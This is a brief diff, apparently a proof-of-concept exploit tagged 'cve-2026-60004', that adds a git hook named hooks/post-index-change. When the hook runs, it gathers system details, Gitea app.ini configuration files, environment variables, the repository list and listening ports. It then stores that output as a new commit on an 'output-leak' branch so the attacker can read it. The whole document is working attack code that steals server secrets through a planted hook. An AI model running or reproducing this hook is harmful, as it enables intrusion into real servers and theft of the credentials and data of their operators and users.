apply

hooks/post-index-change

@@ -0,0 +1,9 @@
+#!/bin/sh
+GD=$(git rev-parse --absolute-git-dir)
+REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
+OUT=$(id; hostname; uname -a; for p in /data/gitea/conf/app.ini /etc/gitea/app.ini /var/lib/gitea/conf/app.ini /app/gitea/conf/app.ini; do [ -f $p ] && echo "== $p ==" && cat $p; done; echo '== env =='; env; echo '== repos =='; ls /data/git/repositories 2>/dev/null | head -40; echo '== netstat =='; (ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null) | head -30 2>&1; echo "[exit-status=$?]")
+BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
+TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
+CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
+git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
+#A